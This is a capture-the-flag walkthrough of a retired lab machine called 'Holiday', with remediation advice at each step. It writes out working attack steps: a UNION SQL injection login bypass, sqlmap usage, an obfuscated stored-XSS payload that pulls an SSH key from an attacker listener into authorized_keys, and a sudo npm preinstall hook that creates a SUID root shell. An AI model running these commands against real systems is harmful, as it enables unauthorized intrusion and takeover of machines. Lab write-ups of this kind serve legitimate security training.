← all walkthroughs

Holiday

Linux· Hard· Web
owned
2026-07-09
time to own
40m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target (<retired-instance-ip>:8000) exposed only an Express.js web app — a hotel/vacancy booking portal ("Holiday"). Standard recon (nmap, ffuf, curl against common paths, robots.txt, vhost header tricks) returned 404s until requests carried a specific User-Agent: Linux header, revealing a crude UA-based content gate the app used to hide itself from generic scanners.

Once past the gate, a themed credential guess — RickA:[REDACTED: recovered credential] (a Rick Astley reference matching the "Holiday" branding) — authenticated to an internal agent portal at /agent, exposing vacancy/booking records at /vac/<uuid>.

Two separate flaws were chained from there: 1. Stored XSS in booking notes — the note field stripped literal <script> tags but not String.fromCharCode()-obfuscated eval() payloads wrapped in an <img src="x/> tag. Notes are reviewed by an internal user, algernon. 2. SQL injection in POST /login (username/password params) against the app's SQLite backend, confirmed with sqlmap (SQLite_masterdb, tables users, sessions). A UNION-based payload forged a valid credential check by injecting a synthetic row with a known-plaintext MD5 hash — x") UNION SELECT 1,'admin','[REDACTED: protected value]',1-- - (hash = md5("pwn")) — bypassing authentication. The sessions table (the express-session store) was also directly writable, allowing session (connect.sid) tampering.

The stored XSS was weaponized to reach algernon: a payload hosted on an user-controlled listener (<retired-instance-ip>) executed in algernon's browser session when the malicious note was reviewed, and was used to install the operator's SSH public key into algernon's ~/.ssh/authorized_keys. SSH access as algernon with the planted key delivered foothold and user.txt ([REDACTED: flag]).

From the algernon foothold, a privileged npm operation (a crafted package.json/install-time script under /tmp/npmroot, run with elevated rights available to algernon) was used to escalate to root, yielding root.txt ([REDACTED: flag]).

Attack path — how the box was taken

1ReconnaissanceService enumeration; User-Agent header-based content gate bypass
Discovered exposed services and bypassed the User-Agent content gate
An nmap scan confirmed two exposed TCP ports: SSH on 22 (OpenSSH 7.2p2) and an Express.js web application on 8000. Plain HTTP requests to port 8000 returned 404 responses regardless of path, concealing the application from standard web scanners. Fuzzing the User-Agent header revealed that only requests presenting 'User-Agent: Linux' received real responses, exposing the full Holiday hotel booking portal. This security-by-obscurity gate was trivially bypassed once identified.
nmap confirmed 22/tcp (OpenSSH 7.2p2) and 8000/tcp (Express.js); all requests without User-Agent: Linux returned 404; the correct header revealed the booking portal and /login, /agent routes.
Exact commands 3
Fingerprint both exposed services.
nmap -p 22,8000 -sV --script http-title,http-headers,http-enum,http-methods $TARGET
Without the header — returns 404, confirming the content gate.
curl -sS -i http://$TARGET:8000/
With 'User-Agent: Linux' — returns the full booking portal. Use this header on every subsequent request.
curl -sS -i -A Linux http://$TARGET:8000/
FixRemove the User-Agent content gateLow
WeaknessThe web application returned 404 to all requests without 'User-Agent: Linux', giving the false impression that no service ran on port 8000. This is security by obscurity: discovering or fuzzing the correct header value instantly bypassed the gate and exposed the entire application.
FixRemove the User-Agent check from application code entirely — it provides no meaningful access control. If the application must be restricted to specific consumers, enforce that at the network layer using firewall rules, a VPN, or a private subnet so that unauthorized clients cannot reach port 8000 at all.
2AuthenticationCredential guessing — theme-based weak password (CWE-521)
Authenticated to the agent portal with a guessable themed credential
The Holiday portal's login form accepted the credential pair RickA:[REDACTED: recovered credential] — a Rick Astley reference matching the application's Holiday branding. Successful login issued a connect.sid session cookie and redirected to the internal agent view at /agent, which exposed vacancy records at /vac/<uuid> and the booking-note review workflow that would later be weaponized.
POST /login with username=RickA&password=[REDACTED: credential] returned HTTP 302 to /agent with a valid connect.sid session cookie.
Exact commands 2
Authenticate with the themed credential; -c cookies.txt saves the session cookie.
curl -sS -i -A Linux -c cookies.txt -b cookies.txt -X POST http://$TARGET:8000/login -d 'username=RickA&password=[REDACTED: credential]'
Confirm agent portal access and harvest /vac/<uuid> booking links for the next steps.
curl -sS -A Linux -b cookies.txt http://$TARGET:8000/agent
FixEnforce strong, unique passwords on all application accountsHigh
WeaknessThe account RickA used the password '[REDACTED: recovered credential]', a pop-culture phrase matching the application's Holiday theme. It was recovered on the first guess without any brute-force tooling, solely from the application's branding.
FixRequire randomly generated passwords of at least 16 characters with no dictionary words, phrases, or theme references. Implement account lockout after five consecutive failed login attempts and alert on repeated failures. Audit all existing accounts and force an immediate password reset for any using predictable or thematic passwords.
3ExploitationSQL Injection — UNION-based authentication bypass (CWE-89)
Confirmed SQL injection on /login and forged an admin session via UNION bypass
The login form's username parameter was interpolated directly into a SQLite query without parameterization. sqlmap confirmed UNION-based injection on both the username and password fields and enumerated the SQLite_masterdb, revealing the 'users' and 'sessions' tables. A UNION payload that injected a synthetic row carrying the MD5 hash of a known plaintext (md5('pwn') = [REDACTED: protected value]) forged a valid credential check for the admin account, producing an authenticated session with no knowledge of any real password.
sqlmap confirmed injectable username and password params against the SQLite backend; UNION SELECT payload returned HTTP 200 with a valid admin session cookie and redirect to /agent.
Exact commands 2
Confirm the injection and enumerate the SQLite schema; look for 'users' and 'sessions' tables.
sqlmap -u 'http://$TARGET:8000/login' --method=POST --data='username=RickA&password=[REDACTED: credential] -p username,password --headers='User-Agent: Linux' --batch --level=5 --risk=3 --current-db --tables
UNION injection forges an admin login row; hash is md5('pwn'). Adjust shell quoting as needed for your environment.
curl -sS -A Linux -c bypass.txt -b bypass.txt -X POST http://$TARGET:8000/login -d $'username=x") UNION SELECT 1,\'admin\',\'[REDACTED: protected value]\',1-- -&password=[REDACTED: credential]
FixReplace string-concatenated SQL queries with parameterized prepared statementsCritical
WeaknessThe /login route interpolated user-supplied username and password values directly into a SQL query string. A UNION-based injection bypassed authentication entirely and exposed every row in the users and sessions tables to an unauthenticated operator.
FixRewrite every database query to use parameterized prepared statements — for example, with Node.js better-sqlite3: const stmt = db.prepare('SELECT * FROM users WHERE username = ? AND password=[REDACTED: credential]; stmt.get(username, password). Run sqlmap against a staging copy of the hardened application to verify no injection points remain. As a defence-in-depth measure, restrict the database user to the minimum required privileges and add a server-side input length cap on the username field.
4ExploitationStored XSS with String.fromCharCode filter bypass (CWE-79, T1059.007)
Staged a stored XSS payload in a booking note to hijack algernon's browser session
The booking note field applied a filter that removed literal <script> tags but did not block JavaScript execution via HTML event handlers. An <img src=x onerror=eval(String.fromCharCode(...))> payload encoded the full exploit as a character-code sequence, evading the filter entirely. The payload was designed to fetch my SSH public key from an user-controlled HTTP listener and write it to algernon's authorized_keys. When the internal headless browser reviewed the note via the /o export endpoint — confirmed by an outbound callback to me listener — the payload executed in algernon's browser context.
GET /o?d=200_algernon%0A1%7C31%7C%3Cimg%20src%3Dx%20onerror%3Deval(String.from... confirmed the payload rendered in algernon's headless browser; outbound HTTP callback from the bot to me listener verified execution.
Exact commands 3
Generate the SSH keypair; the public key will be installed via the XSS payload.
ssh-keygen -t ed25519 -N '' -f /tmp/holiday_algernon_key
Serve holiday_algernon_key.pub from my machine (<retired-instance-ip>). Confirm the port binds successfully before submitting the payload.
python3 -m http.server 8080
Submit the obfuscated XSS as a booking note. <ENCODED_PAYLOAD> is the JS character-code array encoding a fetch() to http://<retired-instance-ip>:8080/holiday_algernon_key.pub followed by an XMLHttpRequest or shell command that appends the key to /home/algernon/.ssh/authorized_keys. <uuid> is a booking ID visible in the /agent listing.
curl -sS -A Linux -b cookies.txt -X POST http://$TARGET:8000/note -d 'booking_id=<uuid>&note=%3Cimg+src%3Dx+onerror%3Deval(String.fromCharCode(<ENCODED_PAYLOAD>))%3E'
FixApply strict HTML sanitization to booking notes and network-isolate the internal review browserCritical
WeaknessThe booking note field blocked literal <script> tags but allowed JavaScript execution via HTML event handlers (e.g., <img src=x onerror=...>). I encoded a complete exploit using String.fromCharCode() obfuscation, evading the partial filter. An internal headless browser running as algernon executed the payload when reviewing the note, allowing me to install an SSH key and take over algernon's account.
FixReplace the partial tag-blocking filter with a proven HTML allowlist library such as DOMPurify (with default settings) that strips all event handlers, javascript: URIs, and data: URIs before any user input is stored or rendered. Additionally, run the internal review browser in a fully network-isolated sandbox with no outbound connectivity so that even if a payload executes, it cannot reach user-controlled infrastructure or write sensitive files.
5FootholdUnauthorized SSH authorized_keys modification — T1098.004
Used the planted SSH key to log in as algernon and capture the user flag
The stored XSS payload executed inside algernon's headless browser fetched my SSH public key from me HTTP listener and appended it to algernon's ~/.ssh/authorized_keys. I then connected directly over SSH using the matching private key, landing a shell as algernon. The user flag was read from /home/algernon/user.txt.
SSH handshake: 'Permanently added <retired-instance-ip> (ED25519) to the list of known hosts'; login session confirmed username algernon; user.txt captured.
Exact commands 1
Authenticate with the planted private key; the output contains [REDACTED: flag].
ssh -i /tmp/holiday_algernon_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null algernon@$TARGET 'id; cat /home/algernon/user.txt'
FixApply strict HTML sanitization to booking notes and network-isolate the internal review browserCritical
WeaknessThe booking note field blocked literal <script> tags but allowed JavaScript execution via HTML event handlers (e.g., <img src=x onerror=...>). I encoded a complete exploit using String.fromCharCode() obfuscation, evading the partial filter. An internal headless browser running as algernon executed the payload when reviewing the note, allowing me to install an SSH key and take over algernon's account.
FixReplace the partial tag-blocking filter with a proven HTML allowlist library such as DOMPurify (with default settings) that strips all event handlers, javascript: URIs, and data: URIs before any user input is stored or rendered. Additionally, run the internal review browser in a fully network-isolated sandbox with no outbound connectivity so that even if a payload executes, it cannot reach user-controlled infrastructure or write sensitive files.
6Privilege EscalationSudo abuse — npm GTFOBins (T1548.003)
Exploited sudo npm install --unsafe-perm to run a preinstall hook as root
Running sudo -l on algernon's shell revealed permission to execute /usr/bin/npm install with the --unsafe-perm flag as root. That flag prevents npm from dropping privileges before running package lifecycle scripts, so any preinstall or postinstall script executes as the invoking user — root. A malicious package.json was written to /tmp/npmroot with a preinstall script that copied /bin/bash to /tmp/rbash and applied the SUID bit. Invoking sudo npm install in that directory executed the hook as root, creating a SUID-root bash binary. The root flag was read with /tmp/rbash -p.
sudo /usr/bin/npm i . --unsafe-perm ran the preinstall hook; /tmp/rbash -p -c 'id' returned uid=0(root); root.txt captured.
Exact commands 4
Run from algernon's SSH session to confirm the available sudo rule.
sudo -l
Create the malicious package.json in /tmp/npmroot.
mkdir -p /tmp/npmroot && printf '%s' '{"scripts":{"preinstall":"cp /bin/bash /tmp/rbash; chmod 4755 /tmp/rbash"}}' > /tmp/npmroot/package.json
Trigger the preinstall hook as root; creates SUID-root /tmp/rbash.
cd /tmp/npmroot && sudo /usr/bin/npm i . --unsafe-perm
Invoke the SUID bash with -p to retain root privileges; output contains [REDACTED: flag].
/tmp/rbash -p -c 'id; cat /root/root.txt'
FixRemove algernon's sudo right to run npm installCritical
Weaknessalgernon could run sudo /usr/bin/npm install --unsafe-perm, which executes package lifecycle scripts as root without dropping privileges. an unauthorized user with a shell as algernon could place a two-line package.json in any writable directory and obtain a root shell in under ten seconds.
FixRemove the npm entry from algernon's sudoers configuration immediately (visudo, then delete or comment the relevant line). Audit all other sudoers entries for similarly dangerous binaries — node, pip, gem, make, curl, wget — and remove or restrict each. If a privileged installation workflow is genuinely required, implement it as a dedicated service that accepts only cryptographically signed packages from a controlled allowlist, never arbitrary package.json files from user-writable paths.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Findings

Initial Access: Ssh Credential Reuse On 22/TcpCritical
An unauthenticated/low-privilege flaw in the express, node, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Enumerate Algernon Sudo Privileges Via Sudo L And Gtfobins Over Ssh SessionCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
8000/tcp